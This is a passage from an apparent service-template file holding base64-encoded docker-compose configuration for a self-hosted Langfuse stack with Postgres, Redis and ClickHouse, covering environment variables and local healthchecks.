BMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgY29tbWFuZDoKICAgICAgLSBzaAogICAgICAtICctYycKICAgICAgLSAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgIiRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIicKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiAzcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBjbGlja2hvdXNlOgogICAgaW1hZ2U6ICdjbGlja2hvdXNlL2NsaWNraG91c2Utc2VydmVyOmxhdGVzdCcKICAgIHVzZXI6ICcxMDE6MTAxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX2NsaWNraG91c2VfZGF0YTovdmFyL2xpYi9jbGlja2hvdXNlJwogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2xvZ3M6L3Zhci9sb2cvY2xpY2tob3VzZS1zZXJ2ZXInCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfRlFETl9MQU5HRlVTRX0nCiAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAtICdFTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfTEFOR0ZVU0V9JwogIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogIC0gJ0NMSUNLSE9VU0VfTUlHUkFUSU9OX1VSTD1jbGlja2hvdXNlOi8vY2xpY2tob3VzZTo5MDAwJwogIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogIC0gJ0NMSUNLSE9VU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0NMSUNLSE9VU0V9JwogIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYOi1ldmVudHMvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TOi0xMDAwfScKICAtIFJFRElTX0hPU1Q9cmVkaXMKICAtIFJFRElTX1BPUlQ9NjM3OQogIC0gJ1JFRElTX0FVVEg9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9ORVhUQVVUSFNFQ1JFVH0nCiAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogIC0gJ0xBTkdGVVNFX0lOSVRfT1JHX0lEPSR7TEFOR0ZVU0VfSU5JVF9PUkdfSUQ6LW15LW9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRT0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FOi1NeSBQcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9MQU5HRlVTRX0nCnNlcnZpY2VzOgogIGxhbmdmdXNlOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZTozJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIDA6ICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAxOiAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgMjogJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogICAgICAzOiAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgNDogJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgNTogJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgICAgIDY6ICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgNzogJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIDg6ICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgICAgIDk6ICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgMTA6IENMSUNLSE9VU0VfQ0xVU1RFUl9FTkFCTEVEPWZhbHNlCiAgICAgIDExOiAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAxMjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDEzOiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAxNDogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAxNTogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDE2OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMTc6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMTg6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIDE5OiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjA6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIDIxOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDIyOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMjM6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAyNDogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAyNTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYOi1tZWRpYS99JwogICAgICAyNjogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgMjc6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAyODogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYOi1leHBvcnRzL30nCiAgICAgIDI5OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAzMDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIDMxOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UfScKICAgICAgMzI6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMzM6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAzNDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAzNTogJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIDM2OiAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIDM3OiBSRURJU19IT1NUPXJlZGlzCiAgICAgIDM4OiBSRURJU19QT1JUPTYzNzkKICAgICAgMzk6ICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIDQwOiAnRU1BSUxfRlJPTV9BRERSRVNTPSR7RU1BSUxfRlJPTV9BRERSRVNTOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDQxOiAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIDQyOiAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICA0MzogJ0FVVEhfRElTQUJMRV9TSUdOVVA9JHtBVVRIX0RJU0FCTEVfU0lHTlVQOi10cnVlfScKICAgICAgNDQ6ICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgNDU6ICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICA0NjogJ0xBTkdGVVNFX0lOSVRfT1JHX05BTUU9JHtMQU5HRlVTRV9JTklUX09SR19OQU1FOi1NeSBPcmd9JwogICAgICA0NzogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIDQ4OiAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIDQ5OiAnTEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMPSR7TEFOR0ZVU